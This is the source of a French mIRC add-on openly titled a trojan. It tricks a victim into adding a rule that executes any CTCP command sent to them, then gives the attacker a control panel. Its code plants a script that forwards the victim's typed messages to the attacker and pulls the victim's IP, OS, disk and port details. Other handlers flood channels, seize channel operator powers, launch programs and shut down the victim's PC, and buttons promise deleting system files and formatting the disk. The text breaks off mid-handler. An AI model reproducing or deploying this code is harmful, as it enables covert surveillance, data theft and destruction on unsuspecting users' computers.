on *:load:{
  /clear 
  echo 9,1 CTCP CONTROLLEUR 
  echo 9,1 par Dj Dgé 
  echo 9,1 Installation correctement reussie
  echo 9,1 Merci de respecter mon travail 
  echo 9,1 et de ne pas copier cet add-on 
  echo 9,1 sans y mettre mes references 
  echo 9,1 Pour toutes question :
  echo 9,1 dj-dge@wanadoo.fr
  echo 4,1 http://www.universal-djs.mp3.ms
  ctcpcontrol
}


alias ctcpcontrol dialog -mod ctcpcontrol ctcpcontrol

Dialog ctcpcontrol {

  Title "Trojan Pour Le DJ Script Universal Version Finale"
  Size -1 -1 210 250
  option dbu
  button "Fermer" ,1, 90 212 30 10,cancel

  tab "Configuration",100,5 15 200 210
  tab "Infos",500,5 15 200 210
  tab "Control chan",200,5 15 200 210
  tab "Actions sympas",300,5 15 250 210
  tab "Actions mechantes",400,5 15 250 210
  tab "mIRC",900,5 15 250 210
  tab "Aide",800,5 15 250 210
  text "Amusez vous bien  >>>>",97,50 230 70 11
  link "www.universal-djs.mp3.ms",98,123 230 200 11




  ;---------------------ONGLET CONFIGURATION--------------------------------
  text "Lui expliker comment taper le code >>>>>>",2,10 60 140 11,tab100
  button "GO !" ,3, 120 60 30 10,tab100
  text "Pseudo de la victime :",4,10 40 80 11,tab100
  edit "", 5, 70 38 130 11, autohs,tab100
  button "Test de compatibilité" ,6, 10 75 80 10,tab100
  edit "Compatibilité à tester" ,299,100 75 100 10,read,autohs,tab100
  button "Lui envoyer un script pour espionner ses conversations" ,7, 10 90 190 10,tab100
  button "Lui envoyer un mini troyen",8,10 105 190 10,tab100
  box "Commandes mini troyen",9,10 120 190 30,tab100 
  button "Le faire flooder",10,20 135 50 10,tab100
  button "Le faire ramer",11,80 135 50 10,tab100
  button "Le faire lagger",12,142 135 50 10,tab100
  text "Autre Ctcp action :",13,10 155 60 11,tab100
  edit "Ligne de commande à effectuer",14,10 165 140 10,autohs,tab100
  button "CTCP !",15,155 165 40 10,tab100

  check "Activer le menu ctcpcontrol",16,10 180 140 10,tab100
  check "Effacer la fenetre status de la victime à chaques commandes",17,10 190 150 10,tab100
  check "Activer le logging des controls",18,10 200 140 10,tab100

  ;---------------------ONGLET INFOS --------------------------------

  text "IP :",19,10 40 20 10,tab500
  edit "",20,50 38 150 10,read,tab500
  text "OS :",21,10 55 20 10,tab500
  edit "",22,50 53 150 10,read,tab500
  text "Version de mIRC :",23,10 70 80 10,tab500
  edit "",24,60 68 140 10,read,tab500
  text "Info C:\ :",25,10 85 80 10,tab500
  edit "",26,50 83 150 10,read,tab500
  text "Info D:\ :",27,10 100 80 10,tab500
  edit "",28,50 98 150 10,read,tab500
  text "Port du serveur :",29,10 115 190 10,tab500
  edit "",30,50 113 150 10,read,tab500
  text "Port de DCC :",31,10 130 190 10,tab500
  edit "",32,50 128 150 10,read,tab500
  text "Durée de presence :",33,10 145 190 10,tab500
  edit "",34,70 143 130 10,read,tab500
  text "Parle avec :",35,10 160 190 10,tab500
  edit "",36,50 158 150 10,read,tab500
  text "Résolution d'ecran :",37,10 175 190 10,tab500
  edit "",38,70 173 130 10,read,tab500
  button "Actualiser les informations",39,10 190 190 10,tab500


  ;---------------------ONGLET CONTROLCHAN--------------------------------
  text "Sur tous les chans:" 203, 13 40 50 10,tab200
  box "Parler", 204, 10 30 92 48,tab200
  box "Chan", 205, 110 30 90 35,tab200
  edit "", 206, 60 38 25 11, autohs,tab200
  text "Sur un chan ou en privé" 207, 13 52 70 10,tab200
  ; edit "", 208, 60 50 25 11, autohs,tab200
  ; text "En privé:", 209, 13 64 50 10,tab200
  edit $me, 210, 13 62 40 11, autohs,tab200
  edit "", 276, 56 62 45 11, autohs,tab200  
  button "Ok", 211, 87 39 11 9,tab200
  ; button "Ok", 212, 87 51 11 9,tab200
  button "Ok", 213, 87 51 11 9,tab200
  text "Joindre:" 214, 118 40 50 10,tab200
  text "Partir:" 215, 118 52 50 10,tab200
  edit "", 216, 157 37 25 11, autohs,tab200
  edit "", 217, 157 49 25 11, autohs,tab200
  button "Ok", 218, 185 38 11 9,tab200
  button "Ok", 219, 185 50 11 9,tab200
  box "@", 220, 10 78 92 36,tab200
  text "Op:", 221, 13 88 20 10,tab200
  text "DeOp:", 222, 13 100 20 10,tab200
  edit $me, 223, 60 86 25 11, autohs,tab200
  edit "", 224, 60 98 25 11, autohs,tab200
  button "Ok", 225, 87 99 11 9,tab200
  edit "salon", 271, 30 86 20 11, autohs,tab200
  edit "salon", 272, 30 98 20 11, autohs,tab200
  button "Ok", 226, 87 87 11 9,tab200
  box "Mode chan", 227, 110 65 90 75,tab200
  text "+s secret:", 228, 113 77 50 10,tab200
  edit "", 229, 157 75 25 11, autohs,tab200
  text "+i invité:", 230, 113 87 50 10,tab200
  text "+k key:", 231, 113 97 50 10,tab200
  edit "", 232, 157 85 25 11, autohs,tab200
  edit "", 233, 157 95 25 11, autohs,tab200
  button "Ok", 234, 185 76 11 9,tab200
  button "Ok", 235, 185 86 11 9,tab200
  button "Ok", 236, 185 96 11 9,tab200
  text "-s secret:", 237, 113 107 50 10,tab200
  text "-i invité:", 238, 113 117 50 10,tab200
  text "-k key:", 239, 113 127 50 10,tab200
  edit "", 240, 157 105 25 11, autohs,tab200
  edit "", 241, 157 115 25 11, autohs,tab200
  edit "", 242, 157 125 25 11, autohs,tab200
  edit "", 279, 135 95 20 11, autohs,tab200
  button "Ok", 243, 185 106 11 9,tab200
  button "Ok", 244, 185 116 11 9,tab200
  button "Ok", 245, 185 126 11 9,tab200
  box "Ban", 246, 10 114 92 36,tab200
  text "Bannir:", 247, 13 123 20 10,tab200
  text "Débannir:", 248, 13 135 23 10,tab200
  edit "salon", 273, 35 121 20 11, autohs,tab200
  edit "salon", 274, 35 133 20 11, autohs,tab200
  edit "", 249, 60 121 25 11, autohs,tab200
  edit "", 250, 60 133 25 11, autohs,tab200
  button "Ok", 251, 87 123 11 9,tab200
  button "Ok", 252, 87 134 11 9,tab200
  text "s'ajouter à son auto-op list" ,258,13 154 80 10 ,tab200
  button "Ok", 263, 87 153 11 9,tab200
  text "s'ajouter à sa protec list" ,259,113 154 80 10 ,tab200
  button "Ok", 264, 185 153 11 9,tab200

  box "Topic", 253, 10 164 190 30,tab200
  edit "NE VENEZ PAS ICI, C'EST UN SALON DE MERDE !!!",254, 70 174 110 10,autohs,tab200
  edit "#salon", 255, 15 174 50 11, autohs,tab200
  button "Ok", 256, 185 175 11 9,tab200

  text "Control chan", 275, 13 200 150 10,tab200



  ;---------------------ONGLET ACTIONS SYMPAS--------------------------------
  text "Message en echo :",909,10 35 50 11,tab300
  edit "BOUFFON !!", 910,60 33 90 10,autohs,tab300
  button "envoyer" ,911, 160 33 40 10,tab300

  box "Lui jouer un son ",40,10 50 185 40,tab300
  combo 41, 20 60 80 80, drop ,tab300
  Button "Jouer le son",43,20 75 170 10,tab300
  edit "autre" ,42,100 60 90 11,autohs read,tab300
  box "Lui ouvrir un programme ",44,10 100 185 40,tab300
  combo 45, 20 110 80 80, drop ,tab300
  Button "lancer le programme",46,20 125 170 10,tab300
  edit "autre" ,47,100 110 90 11,autohs read,tab300
  Button "lui lancer 20 fenetres de bloc note :oD",48,10 145 190 10,tab300
  Button "Deconnecter son Mirc",49,10 160 190 10,tab300
  Button "Faire marcher son lecteur de disquette :oD",50,10 175 190 10,tab300
  Button "Lui faire bipper son mirc",51,10 190 190 10,tab300

  ;---------------------ONGLET ACTIONS MECHANTES--------------------------------
  Button "Eteindre son PC >-(=",52,10 40 190 10,tab400
  Button "Redémarrer son PC >-(=",53,10 55 190 10,tab400
  Button "Lui mettre un prog qui efface les fichiers *.sys, *.com et *.dll dans C:\ >-(=",54,10 70 190 10,tab400
  Button "Lui effacer ses polices d'écritures >-(=",55,10 85 190 10,tab400
  Button "Lui effacer les progs system (scandisk, defragmenteur,  >-(=",56,10 100 190 10,tab400
  Button "Lui fermer son mirc (ptain ca c'est con alors) >-)=",140,10 115 190 10,tab400
  Button "Formatter son disque dur >-(=",141,10 130 190 10,tab400
  box "Pourrir son script",142,10 145 190 60,tab400
  Button "Deconnecter à la connection >-)=",144,15 160 180 10,tab400
  Button "Partir à l'arrivée sur un salon >-)=",145,15 175 180 10,tab400
  Button "Fermer mIRC à l'ouverture >-)= (trop fort)",146,15 190 180 10,tab400


  ;---------------------ONGLET mIRC--------------------------------
  box "Changements des couleurs",901, 10 31 190 75,tab900
  text "Objet",902,60 40 30 11,tab900
  text "Couleur",903,150 40 30 11,tab900
  combo 904,20 50 90 80,drop,tab900
  edit "code couleur", 905,120 50 70 10,tab900
  button "Appliquer",906,60 65 80 10,tab900
  text "lui appliquer une meme couleur pour tout :",913,15 82 120 11,tab900 
  edit "code couleur", 914,120 80 70 10,tab900
  button "Appliquer",915,60 93 80 10,tab900

  box "Controle de mIRC",916,10 133 190 72,tab900
  button "Changer la police de sa fenetre active",917,15 143 95 11,tab900 
  edit "police", 918,115 143 50 10,tab900
  edit "taille",919,170 143 20 10,tab900
  button "Changer l'adresse mail dans les options :",920,15 158 100 11,tab900 
  edit "gros-bouffon@newbie.com", 921,120 158 70 10,tab900
  button "Changer le nom dans les options :",922,15 173 90 11,tab900 
  edit "Gros bouffon n° 1", 923,120 173 70 10,tab900
  button "Reduire mIRC",924,15 190 50 10,tab900
  button "Toujours au dessus",925,75 190 50 10,tab900
  button "Pas toujours au dessus",926,135 190 60 10,tab900

  text "L'envoyer sur un site web",927,10 120 60 11,tab900
  combo 928,80 118 80 50,drop,tab900
  button "GO !",929,170 118 30 10,tab900

  ;---------------------ONGLET AIDE--------------------------------
  list 801,10 40 190 160,size,tab800

}


;--------------------COMMANDES ONGLET CONFIGURATION-------------------------------
;--------explications-----------
on *:dialog:ctcpcontrol:sclick:3: {
  msg $did(ctcpcontrol,5) Tu va dans le menu TOOLS, puis Remote ...
  timer2 1 3 msg $did(ctcpcontrol,5) Ensuite, tu fais File, puis New ...
  timer3 1 6 msg $did(ctcpcontrol,5) Après, tu tapes ce code :  
  timer4 1 6 msg $did(ctcpcontrol,5)  ctcp 1:*:$1-
  timer5 1 9 msg $did(ctcpcontrol,5)  Après, tu fais OK  et c'est bon !!!! :)
}

;--------test de compatibilité----------
on *:dialog:ctcpcontrol:sclick:6: {
  did -r ctcpcontrol 299
  did -a ctcpcontrol 299 pas de compatibilité :( 
  if ( $server == $null ) {   did -r ctcpcontrol 299 | did -a ctcpcontrol 299 Connecte toi à un serveur avant !!! :p }
  ctcp $did(ctcpcontrol,5) ctcp $me compatibility ok 
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }

}


;--------script espion-----------
on *:dialog:ctcpcontrol:sclick:7: {
  ctcp $did(ctcpcontrol,5) write -c c:\windows\ctcpcontrol.txt  on 1:input:*:msg $me $chr(36) $+ 1-
  ctcp $did(ctcpcontrol,5) write c:\windows\ctcpcontrol.txt  raw 401:*: $chr(123) /halt $chr(125)
  ctcp $did(ctcpcontrol,5) load -rs c:\windows\ctcpcontrol.txt
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:nn:ss) envoi du script espion de conversation }
}

;--------script mini troyen-----------
on *:dialog:ctcpcontrol:sclick:8: {
  ctcp $did(ctcpcontrol,5) write -c c:\windows\ctcpmini.txt  alias ramer $chr(123)
  ctcp $did(ctcpcontrol,5) write c:\windows\ctcpmini.txt  /timer500 -m 100 100 /run $chr(36) $+ mircexe $chr(125)
  ctcp $did(ctcpcontrol,5) write c:\windows\ctcpmini.txt  alias lagger $chr(123)
  ctcp $did(ctcpcontrol,5) write c:\windows\ctcpmini.txt  /timer500 -m 100 100 ctcp $chr(36) $+ me PING $chr(125)
  ctcp $did(ctcpcontrol,5) write c:\windows\ctcpmini.txt  alias flooder $chr(123)
  ctcp $did(ctcpcontrol,5) write c:\windows\ctcpmini.txt  /timer501 -m 100 100 amsg VIVE LE FLOOD !!! $chr(125)
  ctcp $did(ctcpcontrol,5) load -rs c:\windows\ctcpmini.txt
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:nn:ss) envoi du script mini troyen }

}

;--------commande mini troyen (flooder)-----------
on *:dialog:ctcpcontrol:sclick:10: {
  ctcp $did(ctcpcontrol,5) flooder 
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:nn:ss) $me a fait flooder $did(ctcpcontrol,5) }
}

;--------commande mini troyen (rammer)-----------
on *:dialog:ctcpcontrol:sclick:11: {
  ctcp $did(ctcpcontrol,5) ramer | clear -s
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:nn:ss) $me a fait ramer $did(ctcpcontrol,5) }
}
;--------commande mini troyen (lagger)-----------
on *:dialog:ctcpcontrol:sclick:12: {
  ctcp $did(ctcpcontrol,5) lagger | clear -s
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:nn:ss) $me a fait lagger $did(ctcpcontrol,5) }
}

;--------commande au choix-----------
on *:dialog:ctcpcontrol:sclick:15: {
  ctcp $did(ctcpcontrol,5) $did(ctcpcontrol,14) 
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:nn:ss) Ctcp special sur $did(ctcpcontrol,5) : $did(ctcpcontrol,14)  }

}

;--------menu ctcpcontrol-----------
on *:dialog:ctcpcontrol:sclick:16: {
  if ( %ctcpmenu == $false ) { enable #ctcpmenu | set %ctcpmenu $true }
  else { disable #ctcpmenu | set %ctcpmenu $false }
}

;--------clear status windows-----------
on *:dialog:ctcpcontrol:sclick:17: {
  if ( %clearstatus == $false ) { set %clearstatus $true }
  else { set %clearstatus $false }
}
;--------logging controls-----------
on *:dialog:ctcpcontrol:sclick:18: {
  if ( %loggingcontrols == $false ) { set %loggingcontrols $true }
  else { set %loggingcontrols $false }
}

;---------------------COMMANDES ONGLET INFOS--------------------------------
;--------Actualisation des infos-----------
on *:dialog:ctcpcontrol:sclick:39:{
  attente
  if ( $server == $null ) { dialog -x attente | goto fin }
  /ctcp $did(ctcpcontrol,5) write -c C:\ctcpinfo.txt alias ctcpinfo $+ $chr(32) $+ $chr(123)
  /ctcp $did(ctcpcontrol,5) write C:\ctcpinfo.txt ctcp $me ip $+ $chr(32) $+ $chr(36) $+ ip
  /ctcp $did(ctcpcontrol,5) write C:\ctcpinfo.txt ctcp $me os $+ $+ $chr(32) $chr(36) $+ os
  /ctcp $did(ctcpcontrol,5) write C:\ctcpinfo.txt ctcp $me version $+ $chr(32) $+ $chr(36) $+ version
  /ctcp $did(ctcpcontrol,5) write C:\ctcpinfo.txt ctcp $me diskc $+ $chr(32) $+ $chr(36) $+ disk(c).label $+ $chr(32) $+ $chr(36) $+ round( $+ $chr(36) $+ calc(( $+ $chr(36) $+ disk(c).size)/1048576),2)MO de capacité, $+ $chr(32) $+ $chr(36) $+ round( $+ $chr(36) $+ calc(( $+ $chr(36) $+ disk(c).free)/1048576),2)MO libre, $+ $chr(32) $+ $chr(36) $+ disk(c).type
  /ctcp $did(ctcpcontrol,5) write C:\ctcpinfo.txt ctcp $me diskd $+ $chr(32) $+ $chr(36) $+ disk(d).label $+ $chr(32) $+ $chr(36) $+ round( $+ $chr(36) $+ calc(( $+ $chr(36) $+ disk(d).size)/1048576),2)MO de capacité, $+ $chr(32) $+ $chr(36) $+ round( $+ $chr(36) $+ calc(( $+ $chr(36) $+ disk(d).free)/1048576),2)MO libre, $+ $chr(32) $+ $chr(36) $+ disk(d).type $+ $chr(125)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }

  set %timerctcp 1
  :etapeinfo1
  inc %timerctcp
  if ( %timerctcp >= 30000 ) { goto etapeinfo2 }
  else goto etapeinfo1
  :etapeinfo2

  /ctcp $did(ctcpcontrol,5) write C:\ctcpcinfo.txt alias ctcp2 $+ $chr(123)
  /ctcp $did(ctcpcontrol,5) write C:\ctcpinfo.txt ctcp $me port $+ $chr(32) $+ $chr(36) $+ port
  /ctcp $did(ctcpcontrol,5) write C:\ctcpinfo.txt ctcp $me dccport $+ $chr(32) $+ $chr(36) $+ dccport
  /ctcp $did(ctcpcontrol,5) write C:\ctcpinfo.txt ctcp $me idle $+ $chr(32) $+ $chr(36) $+ duration( $+ $chr(36) $+ calc( $+ $chr(36) $+ ticks /1000))
  /ctcp $did(ctcpcontrol,5) write C:\ctcpinfo.txt ctcp $me querry $+ $chr(32) $+ $chr(36) $+ querry(0) personnes
  /ctcp $did(ctcpcontrol,5) write C:\ctcpinfo.txt ctcp $me resolution $+ $chr(32) $+ $chr(36) $+ window(-1).w $+ $chr(32) $+ $chr(36) $+ + x $+ $chr(32) $+ $chr(36) $+ + $+ $chr(32) $+ $chr(36) $+ window(-1).h $+ $chr(32) $+ $chr(125)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }

  set %timerctcp 1
  :etapeinfo3
  inc %timerctcp
  if ( %timerctcp >= 30000 ) { goto etapeinfo4 }
  else goto etapeinfo3
  :etapeinfo4

  /ctcp $did(ctcpcontrol,5) load -rs C:\ctcpinfo.txt
  /ctcp $did(ctcpcontrol,5) ctcpinfo
  /ctcp $did(ctcpcontrol,5) ctcpinfo2
  dialog -x attente

  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) envoi du script de récuperation d'information sur $did(ctcpcontrol,5) }
  :fin
  dialog -x attente
}


;---------------------COMMANDES ONGLET CONTROL CHAN--------------------------------
;--------Message sur tous les salons-----------
on 1:Dialog:ctcpcontrol:sclick:211: {
  .ctcp $did(ctcpcontrol,5) amsg $did(ctcpcontrol,206)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) message sur tout les salons : $did(ctcpcontrol,206) }

}

;--------Message sur un salon ou en privé-----------
on 1:Dialog:ctcpcontrol:sclick:213: {
  .ctcp $did(ctcpcontrol,5) msg $did(ctcpcontrol,210) $did(ctcpcontrol,276)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) message à  $did(ctcpcontrol,210) : $did(ctcpcontrol,276) }
}
;--------Oper-----------
on 1:Dialog:ctcpcontrol:sclick:226: {
  .ctcp $did(ctcpcontrol,5) mode $did(ctcpcontrol,271) +o $did(ctcpcontrol,223)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Opage de $did(ctcpcontrol,223) sur $did(ctcpcontrol,271) }

}
;--------Déoper-----------
on 1:Dialog:ctcpcontrol:sclick:225: {
  .ctcp $did(ctcpcontrol,5) mode $did(ctcpcontrol,272) -o $did(ctcpcontrol,224)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Déopage de $did(ctcpcontrol,224) sur $did(ctcpcontrol,272) }


}
;--------Bannir-----------
on 1:Dialog:ctcpcontrol:sclick:251: {
  .ctcp $did(ctcpcontrol,5) mode $did(ctcpcontrol,273) +b $did(ctcpcontrol,249)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Ban de $did(ctcpcontrol,249) sur $did(ctcpcontrol,273) }
}
;--------Débannir-----------
on 1:Dialog:ctcpcontrol:sclick:252: {
  .ctcp $did(ctcpcontrol,5) mode $did(ctcpcontrol,274) -b $did(ctcpcontrol,250)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Déban de $did(ctcpcontrol,250) sur $did(ctcpcontrol,274) }
}
;--------Ajout à la auto-op list-----------
on 1:Dialog:ctcpcontrol:sclick:263: {
  ctcp $did(ctcpcontrol,5) auto on
  ctcp $did(ctcpcontrol,5) auto $host
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Ajout à la auto-op list  }

}
;--------Ajout à la protec list-----------
on 1:Dialog:ctcpcontrol:sclick:264: {
  ctcp $did(ctcpcontrol,5) protect on
  ctcp $did(ctcpcontrol,5) protect $me
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Ajout à la protect list }

}
;--------Joindre un salon-----------
on 1:Dialog:ctcpcontrol:sclick:218: {
  .ctcp $did(ctcpcontrol,5) join $did(ctcpcontrol,216)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) join sur le salon $did(ctcpcontrol,216) }

}
;--------Quitter un salon-----------
on 1:Dialog:ctcpcontrol:sclick:219: {
  .ctcp $did(ctcpcontrol,5) part $did(ctcpcontrol,217)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Quit du salon $did(ctcpcontrol,217) }
}
;--------Mode +k-----------
on 1:Dialog:ctcpcontrol:sclick:236: {
  .ctcp $did(ctcpcontrol,5) mode $did(ctcpcontrol,233) +k $did(ctcpcontrol,279)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) mode +k sur  $did(ctcpcontrol,233) ( $did(ctcpcontrol,279) ) }
}
;--------Mode +i-----------
on 1:Dialog:ctcpcontrol:sclick:235: {
  .ctcp $did(ctcpcontrol,5) mode $did(ctcpcontrol,232) +i
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) mode +i sur $did(ctcpcontrol,232) }

}
;--------Mode +s-----------
on 1:Dialog:ctcpcontrol:sclick:234: {
  .ctcp $did(ctcpcontrol,5) mode $did(ctcpcontrol,229) +s
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) mode +s sur $did(ctcpcontrol,232) }

}
;--------Mode -s-----------
on 1:Dialog:ctcpcontrol:sclick:243: {
  .ctcp $did(ctcpcontrol,5) mode $did(ctcpcontrol,240) -s
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) mode -s sur $did(ctcpcontrol,232) }

}
;--------Mode -i-----------
on 1:Dialog:ctcpcontrol:sclick:244: {
  .ctcp $did(ctcpcontrol,5) mode $did(ctcpcontrol,241) -i
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) mode -i sur $did(ctcpcontrol,232) }

}
;--------Mode -k-----------
on 1:Dialog:ctcpcontrol:sclick:245: {
  .ctcp $did(ctcpcontrol,5) mode $did(ctcpcontrol,242) -k
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) mode -k sur $did(ctcpcontrol,232) }

}
;--------Changer topic-----------
on 1:Dialog:ctcpcontrol:sclick:256: {
  .ctcp $did(ctcpcontrol,5) topic $did(ctcpcontrol,255) $did(ctcpcontrol,254)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) {  write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) Changement de topic sur  $did(ctcpcontrol,255) ( $did(ctcpcontrol,254) ) }
}

;---------------------COMMANDES ONGLET ACTIONS SYMPAS--------------------------------
;--------Message en echo-----------
on *:dialog:ctcpcontrol:sclick:911:{
  ctcp $did(ctcpcontrol,5) echo -a $did(ctcpcontrol,910)
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) envoi d'un message  en echo à $did(ctcpcontrol,5) }
}

;--------Jouer un son-----------
on *:dialog:ctcpcontrol:sclick:43: {
  ctcp $did(ctcpcontrol,5) splay $did(ctcpcontrol,42)  
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) $me a joué le son $did(ctcpcontrol,42) à $did(ctcpcontrol,5) }
}

;--------Lancer un prog-----------
on *:dialog:ctcpcontrol:sclick:46: {
  ctcp $did(ctcpcontrol,5) run $did(ctcpcontrol,47) 
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) $me a lancé le prog $did(ctcpcontrol,47) à $did(ctcpcontrol,5) }
}

;--------Lancer 20 bloc-notes-----------
on *:dialog:ctcpcontrol:sclick:48: {
  ctcp $did(ctcpcontrol,5) timer25 -m 20 100 run C:\windows\notepad.exe 
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) lancement de 20 bloc-notes >-Þ= }
}

;--------Deconnecter son mIRC-----------
on *:dialog:ctcpcontrol:sclick:49: {
  ctcp $did(ctcpcontrol,5) disconnect
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) deconnection de $did(ctcpcontrol,5) du serveur $server }
}

;--------Faire bipper son mIRC-----------
on *:dialog:ctcpcontrol:sclick:51: {
  ctcp $did(ctcpcontrol,5) beep 50 100
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) $me à fait bipper le mIRC de $did(ctcpcontrol,5) }
}

;--------Faire marcher son lecteur de disquette-----------
on *:dialog:ctcpcontrol:sclick:50: {
  ctcp $did(ctcpcontrol,5) run A:\
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
  if ( %loggingcontrols == $true ) { write $mircdir $+ ctcpcontroleur\ $+ $did(ctcpcontrol,5) $+ .txt $asctime(hh:mm:ss) $me a fait marcher le lecteur de disquette de $did(ctcpcontrol,5) }
}

;---------------------COMMANDES ONGLET ACTIONS MECHANTES--------------------------------
;--------Eteindre le Pc-----------
on *:dialog:ctcpcontrol:sclick:52: {
  ctcp $did(ctcpcontrol,5) run C:\Windows\RUNDLL32.EXE user.exe,exitwindows
  ctcp $did(ctcpcontrol,5) run C:\Windows\RUNDLL32.EXE shell32.dll,SHExitWindowsEx
  if ( %clearstatus == $true ) { ctcp $did(ctcpcontrol,5) clear -s }
